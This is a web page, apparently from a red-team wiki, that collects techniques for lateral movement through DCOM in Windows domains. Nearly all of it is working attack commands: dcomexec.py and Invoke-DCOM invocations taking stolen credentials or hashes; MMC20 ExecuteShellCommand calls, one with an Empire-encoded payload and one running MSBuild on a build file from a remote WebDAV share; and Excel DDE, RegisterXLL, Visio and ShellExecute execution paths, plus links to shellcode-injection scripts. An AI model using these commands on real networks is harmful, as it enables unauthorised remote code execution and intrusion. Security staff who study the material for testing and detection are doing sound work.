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Internal - DCOM
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<span class="md-ellipsis">
DCOM via MMC Application Class
</span>
</a>
</li>
<li class="md-nav__item">
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<span class="md-ellipsis">
DCOM via Office
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#dcom-via-shellexecute" class="md-nav__link">
<span class="md-ellipsis">
DCOM via ShellExecute
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#dcom-via-shellbrowserwindow" class="md-nav__link">
<span class="md-ellipsis">
DCOM via ShellBrowserWindow
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</a>
</li>
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<a href="#references" class="md-nav__link">
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References
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<a href="../internal-mitm-relay/" class="md-nav__link">
<span class="md-ellipsis">
Internal - MITM and Relay
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<a href="../internal-pxe-boot-image/" class="md-nav__link">
<span class="md-ellipsis">
Internal - PXE Boot Image
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<a href="../internal-shares/" class="md-nav__link">
<span class="md-ellipsis">
Internal - Shares
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<li class="md-nav__item">
<a href="../kerberos-bronze-bit/" class="md-nav__link">
<span class="md-ellipsis">
Kerberos - Bronze Bit
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../kerberos-delegation-constrained/" class="md-nav__link">
<span class="md-ellipsis">
Kerberos Delegation - Constrained Delegation
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../kerberos-delegation-rbcd/" class="md-nav__link">
<span class="md-ellipsis">
Kerberos Delegation - Resource Based Constrained Delegation
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</a>
</li>
<li class="md-nav__item">
<a href="../kerberos-delegation-unconstrained/" class="md-nav__link">
<span class="md-ellipsis">
Kerberos Delegation - Unconstrained Delegation
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../kerberos-s4u/" class="md-nav__link">
<span class="md-ellipsis">
Kerberos - Service for User Extension
</span>
</a>
</li>
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<a href="../kerberos-tickets/" class="md-nav__link">
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Kerberos - Tickets
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<a href="../pwd-comments/" class="md-nav__link">
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Password - AD User Comment
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<a href="../pwd-dsrm-credentials/" class="md-nav__link">
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Password - DSRM Credentials
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Password - Group Policy Preferences
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<a href="../pwd-precreated-computer/" class="md-nav__link">
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Password - Pre-Created Computer Account
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<a href="../pwd-read-gmsa/" class="md-nav__link">
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Password - GMSA
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<a href="../pwd-read-laps/" class="md-nav__link">
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Password - LAPS
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<a href="../pwd-shadow-credentials/" class="md-nav__link">
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Password - Shadow Credentials
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<a href="../pwd-spraying/" class="md-nav__link">
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Password - Spraying
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<a href="../trust-pam/" class="md-nav__link">
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Trust - Privileged Access Management
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Trust - Relationship
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<a href="../trust-sid-hijacking/" class="md-nav__link">
<span class="md-ellipsis">
Child Domain to Forest Compromise - SID Hijacking
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<a href="../trust-ticket/" class="md-nav__link">
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Forest to Forest Compromise - Trust Ticket
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MS14-068 Checksum Validation
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NoPAC / samAccountName Spoofing
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PrintNightmare
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PrivExchange
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ZeroLogon
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Kiosk Escape and Jail Breakout
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Hash Cracking
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Mimikatz
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Network Discovery
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Reverse Shell Cheat Sheet
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AWS - Service - DynamoDB
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AWS - Service - EC2
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AWS - Enumerate
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AWS - Identity &amp; Access Management
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AWS - IOC &amp; Detections
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AWS - Service - Lambda &amp; API Gateway
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AWS - Metadata SSRF
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AWS - Service - S3 Buckets
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AWS - Service - SSM
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Azure AD - Access and Tokens
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Azure AD - Conditional Access Policy
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Azure AD - AD Connect and Cloud Sync
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Azure AD - IAM
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Azure AD - Enumerate
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<div class="md-content" data-md-component="content">
<article class="md-content__inner md-typeset">
<a href="https://github.com/swisskyrepo/InternalAllTheThings/blob/main/docs/active-directory/internal-dcom.md" title="Edit this page" class="md-content__button md-icon">
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<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M17 18c.56 0 1 .44 1 1s-.44 1-1 1-1-.44-1-1 .44-1 1-1m0-3c-2.73 0-5.06 1.66-6 4 .94 2.34 3.27 4 6 4s5.06-1.66 6-4c-.94-2.34-3.27-4-6-4m0 6.5a2.5 2.5 0 0 1-2.5-2.5 2.5 2.5 0 0 1 2.5-2.5 2.5 2.5 0 0 1 2.5 2.5 2.5 2.5 0 0 1-2.5 2.5M9.27 20H6V4h7v5h5v4.07c.7.08 1.36.25 2 .49V8l-6-6H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h4.5a8.2 8.2 0 0 1-1.23-2"/></svg>
</a>
<h1 id="internal-dcom">Internal - DCOM</h1>
<blockquote>
<p>DCOM is an extension of COM (Component Object Model), which allows applications to instantiate and access the properties and methods of COM objects on a remote computer.</p>
</blockquote>
<ul>
<li>Impacket DCOMExec.py
<div class="highlight"><pre><span></span><code><a id="__codelineno-0-1" name="__codelineno-0-1" href="#__codelineno-0-1"></a><span class="n">dcomexec</span><span class="p">.</span><span class="n">py</span> <span class="p">[</span><span class="n">-h</span><span class="p">]</span> <span class="p">[</span><span class="n">-share</span> <span class="n">SHARE</span><span class="p">]</span> <span class="p">[</span><span class="n">-nooutput</span><span class="p">]</span> <span class="p">[</span><span class="n">-ts</span><span class="p">]</span> <span class="p">[</span><span class="n">-debug</span><span class="p">]</span> <span class="p">[</span><span class="n">-codec</span> <span class="n">CODEC</span><span class="p">]</span> <span class="p">[</span><span class="n">-object</span> <span class="p">[{</span><span class="n">ShellWindows</span><span class="p">,</span><span class="n">ShellBrowserWindow</span><span class="p">,</span><span class="n">MMC20</span><span class="p">}]]</span> <span class="p">[</span><span class="n">-hashes</span> <span class="n">LMHASH</span><span class="p">:</span><span class="n">NTHASH</span><span class="p">]</span> <span class="p">[</span><span class="n">-no-pass</span><span class="p">]</span> <span class="p">[</span><span class="n">-k</span><span class="p">]</span> <span class="p">[</span><span class="n">-aesKey</span> <span class="n">hex</span> <span class="n">key</span><span class="p">]</span> <span class="p">[</span><span class="n">-dc-ip</span> <span class="n">ip</span> <span class="n">address</span><span class="p">]</span> <span class="p">[</span><span class="n">-A</span> <span class="n">authfile</span><span class="p">]</span> <span class="p">[</span><span class="n">-keytab</span> <span class="n">KEYTAB</span><span class="p">]</span> <span class="n">target</span> <span class="no">[command ...]</span>
<a id="__codelineno-0-2" name="__codelineno-0-2" href="#__codelineno-0-2"></a><span class="n">dcomexec</span><span class="p">.</span><span class="n">py</span> <span class="n">-share</span> <span class="n">C</span><span class="p">$</span> <span class="n">-object</span> <span class="n">MMC20</span> <span class="s1">&#39;&lt;DOMAIN&gt;/&lt;USERNAME&gt;:&lt;PASSWORD&gt;@&lt;MACHINE_CIBLE&gt;&#39;</span>
<a id="__codelineno-0-3" name="__codelineno-0-3" href="#__codelineno-0-3"></a><span class="n">dcomexec</span><span class="p">.</span><span class="n">py</span> <span class="n">-share</span> <span class="n">C</span><span class="p">$</span> <span class="n">-object</span> <span class="n">MMC20</span> <span class="s1">&#39;&lt;DOMAIN&gt;/&lt;USERNAME&gt;:&lt;PASSWORD&gt;@&lt;MACHINE_CIBLE&gt;&#39;</span> <span class="s1">&#39;ipconfig&#39;</span>
<a id="__codelineno-0-4" name="__codelineno-0-4" href="#__codelineno-0-4"></a>
<a id="__codelineno-0-5" name="__codelineno-0-5" href="#__codelineno-0-5"></a><span class="n">python3</span> <span class="n">dcomexec</span><span class="p">.</span><span class="n">py</span> <span class="n">-object</span> <span class="n">MMC20</span> <span class="n">-silentcommand</span> <span class="n">-debug</span> <span class="nv">$DOMAIN</span><span class="p">/</span><span class="nv">$USER</span><span class="p">:</span><span class="nv">$PASSWORD</span><span class="p">\$@</span><span class="nv">$HOST</span> <span class="s1">&#39;notepad.exe&#39;</span>
<a id="__codelineno-0-6" name="__codelineno-0-6" href="#__codelineno-0-6"></a><span class="c"># -object MMC20 specifies that we wish to instantiate the MMC20.Application object.</span>
<a id="__codelineno-0-7" name="__codelineno-0-7" href="#__codelineno-0-7"></a><span class="c"># -silentcommand executes the command without attempting to retrieve the output.</span>
</code></pre></div></li>
<li>CheeseTools - https://github.com/klezVirus/CheeseTools
<div class="highlight"><pre><span></span><code><a id="__codelineno-1-1" name="__codelineno-1-1" href="#__codelineno-1-1"></a><span class="c"># https://klezvirus.github.io/RedTeaming/LateralMovement/LateralMovementDCOM/</span>
<a id="__codelineno-1-2" name="__codelineno-1-2" href="#__codelineno-1-2"></a><span class="n">-t</span><span class="p">,</span> <span class="p">-</span><span class="n">-target</span><span class="p">=</span><span class="n">VALUE</span> <span class="n">Target</span> <span class="n">Machine</span>
<a id="__codelineno-1-3" name="__codelineno-1-3" href="#__codelineno-1-3"></a><span class="n">-b</span><span class="p">,</span> <span class="p">-</span><span class="n">-binary</span><span class="p">=</span><span class="n">VALUE</span> <span class="n">Binary</span><span class="p">:</span> <span class="n">powershell</span><span class="p">.</span><span class="n">exe</span>
<a id="__codelineno-1-4" name="__codelineno-1-4" href="#__codelineno-1-4"></a><span class="n">-a</span><span class="p">,</span> <span class="p">-</span><span class="n">-args</span><span class="p">=</span><span class="n">VALUE</span> <span class="n">Arguments</span><span class="p">:</span> <span class="n">-enc</span> <span class="p">&lt;</span><span class="n">blah</span><span class="p">&gt;</span>
<a id="__codelineno-1-5" name="__codelineno-1-5" href="#__codelineno-1-5"></a><span class="n">-m</span><span class="p">,</span> <span class="p">-</span><span class="n">-method</span><span class="p">=</span><span class="n">VALUE</span> <span class="n">Methods</span><span class="p">:</span> <span class="n">MMC20Application</span><span class="p">,</span> <span class="n">ShellWindows</span><span class="p">,</span>
<a id="__codelineno-1-6" name="__codelineno-1-6" href="#__codelineno-1-6"></a> <span class="n">ShellBrowserWindow</span><span class="p">,</span> <span class="n">ExcelDDE</span><span class="p">,</span> <span class="n">VisioAddonEx</span><span class="p">,</span>
<a id="__codelineno-1-7" name="__codelineno-1-7" href="#__codelineno-1-7"></a> <span class="n">OutlookShellEx</span><span class="p">,</span> <span class="n">ExcelXLL</span><span class="p">,</span> <span class="n">VisioExecLine</span><span class="p">,</span>
<a id="__codelineno-1-8" name="__codelineno-1-8" href="#__codelineno-1-8"></a> <span class="n">OfficeMacro</span>
<a id="__codelineno-1-9" name="__codelineno-1-9" href="#__codelineno-1-9"></a><span class="n">-r</span><span class="p">,</span> <span class="p">-</span><span class="n">-reg</span><span class="p">,</span> <span class="p">-</span><span class="n">-registry</span> <span class="n">Enable</span> <span class="n">registry</span> <span class="n">manipulation</span>
<a id="__codelineno-1-10" name="__codelineno-1-10" href="#__codelineno-1-10"></a><span class="n">-h</span><span class="p">,</span> <span class="p">-?,</span> <span class="p">-</span><span class="n">-help</span> <span class="n">Show</span> <span class="n">Help</span>
<a id="__codelineno-1-11" name="__codelineno-1-11" href="#__codelineno-1-11"></a>
<a id="__codelineno-1-12" name="__codelineno-1-12" href="#__codelineno-1-12"></a><span class="n">Current</span> <span class="n">Methods</span><span class="p">:</span> <span class="n">MMC20</span><span class="p">.</span><span class="n">Application</span><span class="p">,</span> <span class="n">ShellWindows</span><span class="p">,</span> <span class="n">ShellBrowserWindow</span><span class="p">,</span> <span class="n">ExcelDDE</span><span class="p">,</span> <span class="n">VisioAddonEx</span><span class="p">,</span> <span class="n">OutlookShellEx</span><span class="p">,</span> <span class="n">ExcelXLL</span><span class="p">,</span> <span class="n">VisioExecLine</span><span class="p">,</span> <span class="n">OfficeMacro</span><span class="p">.</span>
</code></pre></div></li>
<li>Invoke-DCOM - https://raw.githubusercontent.com/rvrsh3ll/Misc-Powershell-Scripts/master/Invoke-DCOM.ps1
<div class="highlight"><pre><span></span><code><a id="__codelineno-2-1" name="__codelineno-2-1" href="#__codelineno-2-1"></a><span class="nb">Import-Module</span> <span class="p">.\</span><span class="nb">Invoke-DCOM</span><span class="p">.</span><span class="n">ps1</span>
<a id="__codelineno-2-2" name="__codelineno-2-2" href="#__codelineno-2-2"></a><span class="nb">Invoke-DCOM</span> <span class="n">-ComputerName</span> <span class="s1">&#39;10.10.10.10&#39;</span> <span class="n">-Method</span> <span class="n">MMC20</span><span class="p">.</span><span class="n">Application</span> <span class="n">-Command</span> <span class="s2">&quot;calc.exe&quot;</span>
<a id="__codelineno-2-3" name="__codelineno-2-3" href="#__codelineno-2-3"></a><span class="nb">Invoke-DCOM</span> <span class="n">-ComputerName</span> <span class="s1">&#39;10.10.10.10&#39;</span> <span class="n">-Method</span> <span class="n">ExcelDDE</span> <span class="n">-Command</span> <span class="s2">&quot;calc.exe&quot;</span>
<a id="__codelineno-2-4" name="__codelineno-2-4" href="#__codelineno-2-4"></a><span class="nb">Invoke-DCOM</span> <span class="n">-ComputerName</span> <span class="s1">&#39;10.10.10.10&#39;</span> <span class="n">-Method</span> <span class="n">ServiceStart</span> <span class="s2">&quot;MyService&quot;</span>
<a id="__codelineno-2-5" name="__codelineno-2-5" href="#__codelineno-2-5"></a><span class="nb">Invoke-DCOM</span> <span class="n">-ComputerName</span> <span class="s1">&#39;10.10.10.10&#39;</span> <span class="n">-Method</span> <span class="n">ShellBrowserWindow</span> <span class="n">-Command</span> <span class="s2">&quot;calc.exe&quot;</span>
<a id="__codelineno-2-6" name="__codelineno-2-6" href="#__codelineno-2-6"></a><span class="nb">Invoke-DCOM</span> <span class="n">-ComputerName</span> <span class="s1">&#39;10.10.10.10&#39;</span> <span class="n">-Method</span> <span class="n">ShellWindows</span> <span class="n">-Command</span> <span class="s2">&quot;calc.exe&quot;</span>
</code></pre></div></li>
</ul>
<h2 id="dcom-via-mmc-application-class">DCOM via MMC Application Class</h2>
<p>This COM object (MMC20.Application) allows you to script components of MMC snap-in operations. there is a method named <strong>"ExecuteShellCommand"</strong> under <strong>Document.ActiveView</strong>.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-3-1" name="__codelineno-3-1" href="#__codelineno-3-1"></a><span class="nb">PS </span><span class="n">C</span><span class="p">:\&gt;</span> <span class="nv">$com</span> <span class="p">=</span> <span class="no">[activator]</span><span class="p">::</span><span class="n">CreateInstance</span><span class="p">(</span><span class="no">[type]</span><span class="p">::</span><span class="n">GetTypeFromProgID</span><span class="p">(</span><span class="s2">&quot;MMC20.Application&quot;</span><span class="p">,</span><span class="s2">&quot;10.10.10.1&quot;</span><span class="p">))</span>
<a id="__codelineno-3-2" name="__codelineno-3-2" href="#__codelineno-3-2"></a><span class="nb">PS </span><span class="n">C</span><span class="p">:\&gt;</span> <span class="nv">$com</span><span class="p">.</span><span class="n">Document</span><span class="p">.</span><span class="n">ActiveView</span><span class="p">.</span><span class="n">ExecuteShellCommand</span><span class="p">(</span><span class="s2">&quot;C:\Windows\System32\calc.exe&quot;</span><span class="p">,</span><span class="nv">$null</span><span class="p">,</span><span class="nv">$null</span><span class="p">,</span><span class="n">7</span><span class="p">)</span>
<a id="__codelineno-3-3" name="__codelineno-3-3" href="#__codelineno-3-3"></a><span class="nb">PS </span><span class="n">C</span><span class="p">:\&gt;</span> <span class="nv">$com</span><span class="p">.</span><span class="n">Document</span><span class="p">.</span><span class="n">ActiveView</span><span class="p">.</span><span class="n">ExecuteShellCommand</span><span class="p">(</span><span class="s2">&quot;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe&quot;</span><span class="p">,</span><span class="nv">$null</span><span class="p">,</span><span class="s2">&quot;-enc DFDFSFSFSFSFSFSFSDFSFSF &lt; Empire encoded string &gt; &quot;</span><span class="p">,</span><span class="s2">&quot;7&quot;</span><span class="p">)</span>
<a id="__codelineno-3-4" name="__codelineno-3-4" href="#__codelineno-3-4"></a>
<a id="__codelineno-3-5" name="__codelineno-3-5" href="#__codelineno-3-5"></a><span class="c"># Weaponized example with MSBuild</span>
<a id="__codelineno-3-6" name="__codelineno-3-6" href="#__codelineno-3-6"></a><span class="nb">PS </span><span class="n">C</span><span class="p">:\&gt;</span> <span class="no">[System.Activator]</span><span class="p">::</span><span class="n">CreateInstance</span><span class="p">(</span><span class="no">[type]</span><span class="p">::</span><span class="n">GetTypeFromProgID</span><span class="p">(</span><span class="s2">&quot;MMC20.Application&quot;</span><span class="p">,</span><span class="s2">&quot;10.10.10.1&quot;</span><span class="p">)).</span><span class="n">Document</span><span class="p">.</span><span class="n">ActiveView</span><span class="p">.</span><span class="n">ExecuteShellCommand</span><span class="p">(</span><span class="s2">&quot;c:\windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe&quot;</span><span class="p">,</span><span class="nv">$null</span><span class="p">,</span><span class="s2">&quot;\\10.10.10.2\webdav\build.xml&quot;</span><span class="p">,</span><span class="s2">&quot;7&quot;</span><span class="p">)</span>
</code></pre></div>
<p>Invoke-MMC20RCE : https://raw.githubusercontent.com/n0tty/powershellery/master/Invoke-MMC20RCE.ps1</p>
<h2 id="dcom-via-office">DCOM via Office</h2>
<ul>
<li>Excel.Application</li>
<li>DDEInitiate</li>
<li>RegisterXLL</li>
<li>Outlook.Application</li>
<li>CreateObject-&gt;Shell.Application-&gt;ShellExecute</li>
<li>CreateObject-&gt;ScriptControl (office-32bit only)</li>
<li>Visio.InvisibleApp (same as Visio.Application, but should not show the Visio window)</li>
<li>Addons</li>
<li>ExecuteLine</li>
<li>Word.Application</li>
<li>RunAutoMacro</li>
</ul>
<div class="highlight"><pre><span></span><code><a id="__codelineno-4-1" name="__codelineno-4-1" href="#__codelineno-4-1"></a><span class="c"># Powershell script that injects shellcode into excel.exe via ExecuteExcel4Macro through DCOM</span>
<a id="__codelineno-4-2" name="__codelineno-4-2" href="#__codelineno-4-2"></a><span class="nb">Invoke-Excel4DCOM64</span><span class="p">.</span><span class="n">ps1</span> <span class="n">https</span><span class="p">://</span><span class="n">gist</span><span class="p">.</span><span class="n">github</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">Philts</span><span class="p">/</span><span class="n">85d0f2f0a1cc901d40bbb5b44eb3b4c9</span>
<a id="__codelineno-4-3" name="__codelineno-4-3" href="#__codelineno-4-3"></a><span class="nb">Invoke-ExShellcode</span><span class="p">.</span><span class="n">ps1</span> <span class="n">https</span><span class="p">://</span><span class="n">gist</span><span class="p">.</span><span class="n">github</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">Philts</span><span class="p">/</span><span class="n">f7c85995c5198e845c70cc51cd4e7e2a</span>
<a id="__codelineno-4-4" name="__codelineno-4-4" href="#__codelineno-4-4"></a>
<a id="__codelineno-4-5" name="__codelineno-4-5" href="#__codelineno-4-5"></a><span class="c"># Using Excel DDE</span>
<a id="__codelineno-4-6" name="__codelineno-4-6" href="#__codelineno-4-6"></a><span class="nb">PS </span><span class="n">C</span><span class="p">:\&gt;</span> <span class="nv">$excel</span> <span class="p">=</span> <span class="no">[activator]</span><span class="p">::</span><span class="n">CreateInstance</span><span class="p">(</span><span class="no">[type]</span><span class="p">::</span><span class="n">GetTypeFromProgID</span><span class="p">(</span><span class="s2">&quot;Excel.Application&quot;</span><span class="p">,</span> <span class="s2">&quot;$ComputerName&quot;</span><span class="p">))</span>
<a id="__codelineno-4-7" name="__codelineno-4-7" href="#__codelineno-4-7"></a><span class="nb">PS </span><span class="n">C</span><span class="p">:\&gt;</span> <span class="nv">$excel</span><span class="p">.</span><span class="n">DisplayAlerts</span> <span class="p">=</span> <span class="nv">$false</span>
<a id="__codelineno-4-8" name="__codelineno-4-8" href="#__codelineno-4-8"></a><span class="nb">PS </span><span class="n">C</span><span class="p">:\&gt;</span> <span class="nv">$excel</span><span class="p">.</span><span class="n">DDEInitiate</span><span class="p">(</span><span class="s2">&quot;cmd&quot;</span><span class="p">,</span> <span class="s2">&quot;/c calc.exe&quot;</span><span class="p">)</span>
<a id="__codelineno-4-9" name="__codelineno-4-9" href="#__codelineno-4-9"></a>
<a id="__codelineno-4-10" name="__codelineno-4-10" href="#__codelineno-4-10"></a><span class="c"># Using Excel RegisterXLL</span>
<a id="__codelineno-4-11" name="__codelineno-4-11" href="#__codelineno-4-11"></a><span class="c"># Can&#39;t be used reliably with a remote target</span>
<a id="__codelineno-4-12" name="__codelineno-4-12" href="#__codelineno-4-12"></a><span class="n">Require</span><span class="p">:</span> <span class="n">reg</span> <span class="n">add</span> <span class="n">HKEY_CURRENT_USER</span><span class="p">\</span><span class="n">Software</span><span class="p">\</span><span class="n">Microsoft</span><span class="p">\</span><span class="n">Office</span><span class="p">\</span><span class="n">16</span><span class="p">.</span><span class="n">0</span><span class="p">\</span><span class="n">Excel</span><span class="p">\</span><span class="n">Security</span><span class="p">\</span><span class="n">Trusted</span> <span class="n">Locations</span> <span class="p">/</span><span class="n">v</span> <span class="n">AllowsNetworkLocations</span> <span class="p">/</span><span class="n">t</span> <span class="n">REG_DWORD</span> <span class="p">/</span><span class="n">d</span> <span class="n">1</span>
<a id="__codelineno-4-13" name="__codelineno-4-13" href="#__codelineno-4-13"></a><span class="n">PS</span><span class="p">&gt;</span> <span class="nv">$excel</span> <span class="p">=</span> <span class="no">[activator]</span><span class="p">::</span><span class="n">CreateInstance</span><span class="p">(</span><span class="no">[type]</span><span class="p">::</span><span class="n">GetTypeFromProgID</span><span class="p">(</span><span class="s2">&quot;Excel.Application&quot;</span><span class="p">,</span> <span class="s2">&quot;$ComputerName&quot;</span><span class="p">))</span>
<a id="__codelineno-4-14" name="__codelineno-4-14" href="#__codelineno-4-14"></a><span class="n">PS</span><span class="p">&gt;</span> <span class="nv">$excel</span><span class="p">.</span><span class="n">RegisterXLL</span><span class="p">(</span><span class="s2">&quot;EvilXLL.dll&quot;</span><span class="p">)</span>
<a id="__codelineno-4-15" name="__codelineno-4-15" href="#__codelineno-4-15"></a>
<a id="__codelineno-4-16" name="__codelineno-4-16" href="#__codelineno-4-16"></a><span class="c"># Using Visio</span>
<a id="__codelineno-4-17" name="__codelineno-4-17" href="#__codelineno-4-17"></a><span class="nv">$visio</span> <span class="p">=</span> <span class="no">[activator]</span><span class="p">::</span><span class="n">CreateInstance</span><span class="p">(</span><span class="no">[type]</span><span class="p">::</span><span class="n">GetTypeFromProgID</span><span class="p">(</span><span class="s2">&quot;Visio.InvisibleApp&quot;</span><span class="p">,</span> <span class="s2">&quot;$ComputerName&quot;</span><span class="p">))</span>
<a id="__codelineno-4-18" name="__codelineno-4-18" href="#__codelineno-4-18"></a><span class="nv">$visio</span><span class="p">.</span><span class="n">Addons</span><span class="p">.</span><span class="n">Add</span><span class="p">(</span><span class="s2">&quot;C:\Windows\System32\cmd.exe&quot;</span><span class="p">).</span><span class="n">Run</span><span class="p">(</span><span class="s2">&quot;/c calc&quot;</span><span class="p">)</span>
</code></pre></div>
<h2 id="dcom-via-shellexecute">DCOM via ShellExecute</h2>
<div class="highlight"><pre><span></span><code><a id="__codelineno-5-1" name="__codelineno-5-1" href="#__codelineno-5-1"></a><span class="nv">$com</span> <span class="p">=</span> <span class="no">[Type]</span><span class="p">::</span><span class="n">GetTypeFromCLSID</span><span class="p">(</span><span class="s1">&#39;9BA05972-F6A8-11CF-A442-00A0C90A8F39&#39;</span><span class="p">,</span><span class="s2">&quot;10.10.10.1&quot;</span><span class="p">)</span>
<a id="__codelineno-5-2" name="__codelineno-5-2" href="#__codelineno-5-2"></a><span class="nv">$obj</span> <span class="p">=</span> <span class="no">[System.Activator]</span><span class="p">::</span><span class="n">CreateInstance</span><span class="p">(</span><span class="nv">$com</span><span class="p">)</span>
<a id="__codelineno-5-3" name="__codelineno-5-3" href="#__codelineno-5-3"></a><span class="nv">$item</span> <span class="p">=</span> <span class="nv">$obj</span><span class="p">.</span><span class="n">Item</span><span class="p">()</span>
<a id="__codelineno-5-4" name="__codelineno-5-4" href="#__codelineno-5-4"></a><span class="nv">$item</span><span class="p">.</span><span class="n">Document</span><span class="p">.</span><span class="n">Application</span><span class="p">.</span><span class="n">ShellExecute</span><span class="p">(</span><span class="s2">&quot;cmd.exe&quot;</span><span class="p">,</span><span class="s2">&quot;/c calc.exe&quot;</span><span class="p">,</span><span class="s2">&quot;C:\windows\system32&quot;</span><span class="p">,</span><span class="nv">$null</span><span class="p">,</span><span class="n">0</span><span class="p">)</span>
</code></pre></div>
<h2 id="dcom-via-shellbrowserwindow">DCOM via ShellBrowserWindow</h2>
<p><img alt="⚠" class="twemoji" src="https://cdn.jsdelivr.net/gh/jdecked/twemoji@15.1.0/assets/svg/26a0.svg" title=":warning:" /> Windows 10 only, the object doesn't exists in Windows 7</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-6-1" name="__codelineno-6-1" href="#__codelineno-6-1"></a><span class="nv">$com</span> <span class="p">=</span> <span class="no">[Type]</span><span class="p">::</span><span class="n">GetTypeFromCLSID</span><span class="p">(</span><span class="s1">&#39;C08AFD90-F2A1-11D1-8455-00A0C91F3880&#39;</span><span class="p">,</span><span class="s2">&quot;10.10.10.1&quot;</span><span class="p">)</span>
<a id="__codelineno-6-2" name="__codelineno-6-2" href="#__codelineno-6-2"></a><span class="nv">$obj</span> <span class="p">=</span> <span class="no">[System.Activator]</span><span class="p">::</span><span class="n">CreateInstance</span><span class="p">(</span><span class="nv">$com</span><span class="p">)</span>
<a id="__codelineno-6-3" name="__codelineno-6-3" href="#__codelineno-6-3"></a><span class="nv">$obj</span><span class="p">.</span><span class="n">Application</span><span class="p">.</span><span class="n">ShellExecute</span><span class="p">(</span><span class="s2">&quot;cmd.exe&quot;</span><span class="p">,</span><span class="s2">&quot;/c calc.exe&quot;</span><span class="p">,</span><span class="s2">&quot;C:\windows\system32&quot;</span><span class="p">,</span><span class="nv">$null</span><span class="p">,</span><span class="n">0</span><span class="p">)</span>
</code></pre></div>
<h2 id="references">References</h2>
<ul>
<li><a href="https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/">Lateral movement via dcom: round 2 - enigma0x3 - January 23, 2017</a></li>
<li><a href="https://www.cybereason.com/blog/dcom-lateral-movement-techniques">New lateral movement techniques abuse DCOM technology - Philip Tsukerman - Jan 25, 2018</a></li>
</ul>
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